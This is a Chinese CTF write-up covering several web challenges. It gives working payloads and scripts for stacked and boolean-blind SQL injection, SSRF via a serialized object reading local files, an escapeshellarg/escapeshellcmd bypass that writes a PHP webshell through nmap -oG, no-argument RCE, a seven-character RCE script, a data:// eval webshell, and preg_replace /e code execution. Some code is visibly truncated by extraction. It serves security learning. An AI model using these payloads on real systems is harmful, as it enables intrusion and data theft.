先上传一个一句话木马.,过滤了
然后用
可以通过,大概还是过滤了
剩下就上传.htaccess和一个一句话木马得到flag,详细看上一篇
打开啥都没有,输入 127.0.0.1;ls出来了以下东西
过滤了字符,这种一般考虑堆叠注入了
’;show databases;查询数据库
';show tables; 查询数据库表
按理说应该在flaghere这个表中,看一下
';show columns from FlagHere;#
发现flag列,推测其应为flag,尝试获取内容,本来用select 列名from 表名,但是因为select被限制,查了一些资料了解HANDLER语法可以绕过select限制
知识点:mysql查询语句-handler_jesseyoung的博客-CSDN博客
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
感觉像是布尔盲注,有提示,在flag表中的flag 列
检测有sql注入,说明有过滤字符出现,试一下
;select; 报错 false,最后试出来是空格被过滤,用()代替就可
输入1才爆出以下内容,那应该是数字注入,用1^异或手段
- import requests
-
- url = "http://544bd178-7684-402b-967c-74b281f5c382.node4.buuoj.cn:81/index.php"
- res = ""
-
- try:
- for i in range(1, 50):
- for j in range(1, 127):
- payload = "1^if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1)" % (i, j)
- data = {"id": payload}
- r = requests.post(url, data)
- print(payload)
- if "Hello, glzjin wants a girlfriend." in r.text:
- res += (chr(j))
- print(res)
- break
- except:
- print("end ....")
-
- print(res)
payload = "1^if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1)" % (i, j)
(ascii(substr((select(flag)from(flag)),%d,1))=%d)这肯定不是false就是true
if(false,0,1)出来以后就是1
if(true,0,1)就是0
1^1=0 1^0=1
if "Hello, glzjin wants a girlfriend." in r.text:如果存在,说明上面时true所以,哪个字符对应正确
看源码,文本框用的id变量, 所以data = {"id": payload},然后开始爆源码,时间有些漫长
打开先注册以下,这里小心一个点,blog这需要一个网址,比如baisfd.com
点击dsf用户名,感觉有个链接
把1改了,改成2试试
报错,这就是注入点,进行sql注入,试一下联合注入
order by试出来了 几个字段列
报错了,中间把union/**/select就对了,很纳闷,不知带waf怎么写的
然后判断注入点
fakebook数据库名
bia 表名
username | age |
---|
no=2%20union/**/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema="facebook"#
no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
no=2%20union/**/select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name="users"#
一个个字段看,发现passwd是经过md5加密的,data字段里面是一个序列化
本地地址找到了,/var/www/html/flag.php应该在这里面
然后我们序列化就可以,应该有phP的源码
扫一下目录,发现robots.txt,然后找到源码
-
-
- class UserInfo
- {
- public $name = "";
- public $age = 0;
- public $blog = "";
-
- public function __construct($name, $age, $blog)
- {
- $this->name = $name;
- $this->age = (int)$age;
- $this->blog = $blog;
- }
-
- function get($url)
- {
- $ch = curl_init();
-
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $output = curl_exec($ch);
- $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
- if($httpCode == 404) {
- return 404;
- }
- curl_close($ch);
-
- return $output;
- }
-
- public function getBlogContents ()
- {
- return $this->get($this->blog);
- }
-
- public function isValidBlog ()
- {
- $blog = $this->blog;
- return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
- }
-
- }
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
看见curl ssrf漏洞,可以用到file///读取路径
-
-
- class UserInfo
- {
- public $name = "cxk";
- public $age = 12;
- public $blog = "file:///var/www/html/flag.php";
- }
- $a=new UserInfo();
- echo serialize($a);
-
-
然后判断序列化是在data字段中,
=2%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:3:"cxk";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%20from%20users#
查看源码得到base64编码,解码获得flag
1.escapeshellarg
绕过(参考链接)-
- if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
- $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
- }
-
- if(!isset($_GET['host'])) {
- highlight_file(__FILE__);
- } else {
- $host = $_GET['host'];
- $host = escapeshellarg($host);
- //escapeshellarg
- //1,确保用户值传递一个参数给命令
- //2,用户不能指定更多的参数
- //3,用户不能执行不同的命令
- $host = escapeshellcmd($host);
- //escapeshellcmd
- //1,确保用户只执行一个命令
- //2,用户可以指定不限数量的参数
- //3,用户不能执行不同的命令
- $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
- echo 'you are in sandbox '.$sandbox;
- @mkdir($sandbox);
- chdir($sandbox);
- echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
对源码进行分析:
$_SERVER["REMOTE_ADDR"]获取客户端的 IP地址;
$_SERVER['HTTP_X_FORWARDED_FOR']是透过代理服务器获取客户端真实IP地址;
若未设置GET传入参数host的值,将显示源码;
变量$host经过escapeshellar()与escapeshellcmd()方法防止注入参数
将执行命令拼接,输出
Nmap的扫描结果
首先传入正常的参数127.0.0.1
,获得返回结果:
尝试用; || &管道符等
发现不可以,体现出了 /escapeshellarg只能传递一个参数,只执行一条命令
1.传入参数:127.0.0.1' -v -d a=1
2.经过escapeshellarg()函数处理后变为:'127.0.0.1'\'' -v -d a=1',也就是将其中的'单引号转义,再用单引号将内容包含起来
3.处理完的字符串再通过escapeshellcmd()函数的处理,变成:'127.0.0.1'\\'' -v -d a=1\',因为escapeshellcmd()函数对\以及最后的未闭合的'进行了转义
4.由于两次函数的处理,最终参数可简化成:127.0.0.1\ -v -d a=1',因为包围127.0.0.1的单引号产生了闭合,\\被解释为\,中间的两个单引号''完成了闭合,最终留下了a=1',也就是末尾的单引号。
结合本题环境,常用的命令注入方法都不行,题目环境为Nmap扫描,查阅到Nmap可以写入文件,其中参数-oG可以实现将命令和结果写入文件,尝试构造如下Payload:
127.0.0.1 @eval();?> -oG hack.php
因为两端单引号闭合,所以一句话木马只是被当成了字符串处理。
所以需要闭合所有的单引号,将一句话木马变成一条命令,尝试在Payload前后均加上'
单引号:
'127.0.0.1 -oG hack.php'
所有的引号都已闭合,可以化简为
\127.0.0.1 @eval();?> -oG hack.php
可不添加HOST地址,构造为:' -oG hack.php'
给出了保存文件访问
http://***ae6461532e77c12b50d1b32bf310caac/hack.php
链接蚁建获取flag
或者 ?host
=
' -oG test.php '
直接在页面上显示
' -oG test.php '
看见flag
参考:BUUCTF [BUUCTF 2018] Online Tool_Senimo_的博客-CSDN博客
打开界面查看,发现显示我的ip地址,
抓包看一下,x-forwarded-for会不会有问题
试了本地地址没回显,会不会是有注入呢
果然有运算
剩下的就是常规操作了
真正的flag在根目录,上面的目录是个假的
翻了好久都没找到,会不会有隐藏目录,需要扫目录 这是现在的一个突破点‘
没扫到
然后想来会不会是git源码泄露, kali用githack扫描
- include "flag.php";
- echo "flag在哪里呢?
"; - if(isset($_GET['exp'])){
- if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
- if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
- if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
- // echo $_GET['exp'];
- @eval($_GET['exp']);
- }
- else{
- die("还差一点哦!");
- }
- }
- else{
- die("再好好想想!");
- }
- }
- else{
- die("还想读flag,臭弟弟!");
- }
- }
- // highlight_file(__FILE__);
- ?>
f (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
第二个if (?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。,引用一次正则则变成了[a-z,_]+\),可以迭代下去,那么它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子
也就是a();
a(a());
这种可以,不能是a('1');
这种。
第三个继续过滤字符
感觉是无参数的rce
这里要知道一点:想要浏览目录内的所有文件我们常用函数scandir()
。当scandir()
传入.
,它就可以列出当前目录的所有文件。
但这里是无参数的RCE,我们不能写scandir(.)
,而localeconv()
却会有一个返回值,那个返回值正好就是.
?exp=print_r(scandir(pos(localeconv())));
看一下上面的函数
localeconv(),回显数组,第一个数组是字符"."点号
pos(),传入数组,回显第一个数组的值,pos可以用current代替
所以pos(localeconv())等价于.号
而函数scandir(.)意思是以数组的形式回显当前目录下的所有文件
再配合print_r函数输出数组
就会列出当前所有目录
flag在第四个数组里卖弄,这时候我们就要想让指针如何指向,或者翻转数组
所以可以先利用函数array_reverse将数组反转,flag就在第二位了,再利用next指向第二位数组,在用文件显示包涵即可输出flag.php文件,构造payload
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
参考文章:无参数RCE总结_L1am0ur的博客-CSDN博客_无参数rce
前序:本来想做一道签到题,就跑,结果连签到题都能不会唉,还是太菜了!!!
看完了解是一个7字符的rce命令执行,
nl /*>1也就是把全部的文件都放进,1这个文件中
然后查看1的目录,由于tools.php不是目录而是一个文件,所以删去
打开文件获得flag
就是依靠python的脚本代码了
- import requests
-
- __AUTHOR__ = "h1xa"
-
- url = "http://d329dd0b-f97b-4aa9-93e6-c3cc0bfd8ae1.challenge.ctf.show/"
-
-
- def getFlag():
- file={
- "file":"#!/bin/sh\ncat /f*>/var/www/html/1.txt" 随后写入到/var/www/html/1.txt,
- }
-
- data={
- "cmd":". /t*/*" 正好七个字符, 在使用. /t*/*运行/tmp目录下的所有文件
- }
- response = requests.post(url=url+"api/tools.php",files=file,data=data)
- if "t*" in response.text: 页面显示的内容
- print("执行成功,检查回显...")
- response = requests.get(url=url+"1.txt") 自动到页面访问
- if response.status_code == 200:
- print("flag 获取成功 "+response.text)
- else:
- print("flag 获取失败")
-
- if __name__ == '__main__':
- getFlag()
同样获取flag可以,
提示:大牛:我用计算器弹出了计算器?
打开环境发现一直弹出,
查看界面弹出的计算器仅仅是标签,代码中才是真正的计算器
-
-
- if(check($code)){
-
- eval('$result='."$code".";");
- echo($result);
- }
-
- function check(&$code){
-
- $num1=$_POST['num1'];
- $symbol=$_POST['symbol'];
- $num2=$_POST['num2'];
-
- if(!isset($num1) || !isset($num2) || !isset($symbol) ){
-
- return false;
- }
-
- if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
- return false;
- }
-
- if(preg_match("/^[\+\-\*\/]$/", $symbol)){
- $code = "$num1$symbol$num2";
- return true;
- }
-
- return false;
- }
post传参,然后字符串链接成一个木马进行eval操作
eval('$result='."$code".";");
既然是eval就是代码执行,但是又不能用括号,那么只能用不用括号的函数了,那么答案很显然
php中不需要括号使用的函数,叫做语言结构,常见的有include、require、echo等
那么思路有了,要使用include来执行代码,那么显而易见,肯定要用到伪协议了
我们只需要构造出一个data的伪协议看看
正常的data协议
include "data://text/plain,$_GET[1]);?>"
可是我们发现<和()都是被过滤掉的就需要使用,data的第二种写法,base64编码
include "data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4"
然后
num1=include "data:/
symbol=/
num2=text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+"
$num1$symbol$sum2="include data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4"
一因为用的get传参,然后没找到flag,看见secret可能看这里cat查看一下,system后面必须要有分号注释掉后面
得到flag
知识点:深入研究preg_replace与代码执行 - 先知社区
打开界面
-
- error_reporting(0);
- $text = $_GET["text"];
- $file = $_GET["file"];
- if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
- echo "
"
.file_get_contents($text,'r').""; - if(preg_match("/flag/",$file)){
- die("Not now!");
- }
-
- include($file); //next.php
-
- }
- else{
- highlight_file(__FILE__);
- }
- ?>
file_get_contents读取文件到r这个字符串,因为之前做题见过
应该是用data伪协议就可以绕过了,试一下
?text=data://text/plain,I have a dream //记住没引号的
这第一步就算绕过去了,然后看第二步
include($file); //next.php既然给出了提示,八成是里面包含一个php序列化啥的
普通的没成功,试一下 filter读取伪协议
php://filter/read=convert.base64-encode/resource=next.php
获得base64编码, 解码
- $id = $_GET['id'];
- $_SESSION['id'] = $id;
- function complex($re, $str) {
- return preg_replace(
- '/(' . $re . ')/ei',
- 'strtolower("\\1")',
- $str
- );
- }
-
- foreach($_GET as $re => $str) {
- echo complex($re, $str). "\n";
- }
-
- function getFlag(){
- @eval($_GET['cmd']);
- }
虽然就这几行,可是有点蒙,
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
} for循环 里面传参都是 id的值,没啥问题
function getFlag()需要有东西调用的
矛头指向 preg_replace这本来也是一个高危函数,查询一下资料
preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。
eval('strtolower("\\1");') 结果,当中的 \\1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义,相当于匹配到一号缓冲区。
参数第二个其实就会被执行,相当于加上eval,第一个第三个是可以被控制的
/?.*={${phpinfo()}} ,即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}}
preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str );
preg_replace( '/(' .* ')/ei', 'strtolower("\\1")', {${phpinfo()}} );就会变为这样
因为PHP.作为变量开头会被替换为下划线,另一种姿势 /?\S*={${phpinfo()}}
在next.php中,发现调用getFlag这个函数就可以执行,一个一句话木马,通过get传参,所以我们通过先调用,然后用cmd进行命令执行
记住实在next.php下面执行的
/next.php?\S*=${getFlag()}&cmd=system(%27ls%20/%27);
1.当堆叠注入的最后,select被禁用的时候,最后读取字段的内容,可以用handler,如果不在第一行可以用next往下继续查看
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
2. sql注入中看见,curl就要考虑file进行读取flag
"file:///var/www/html/flag.php"
3.Nmap -oG 将命令和结果写入文件
.escapeshellarg 和.escapeshellcmd两个函数连用的漏洞,一般会分成三个部分中间用\链接,
4.rce
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
pos(localeconv())这两个相当于一个点号,在rce无参数可以利用
scandir(.)显示所有文件,一般这三个连用
array_reverse数组翻转 ,next光标向下移动一个
5.拼接成一个rce命令
include "data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4"
可以分成三部分,如果过滤特殊字符
6.preg_replace(\e)
第二个参数,会进行eval操作
可以通过?\S*=${phpinfo()} 来修改第一个参数,和第二个参数,等号前面为第一个参数,后面是第二参数的值
好的收获蛮多的,加油!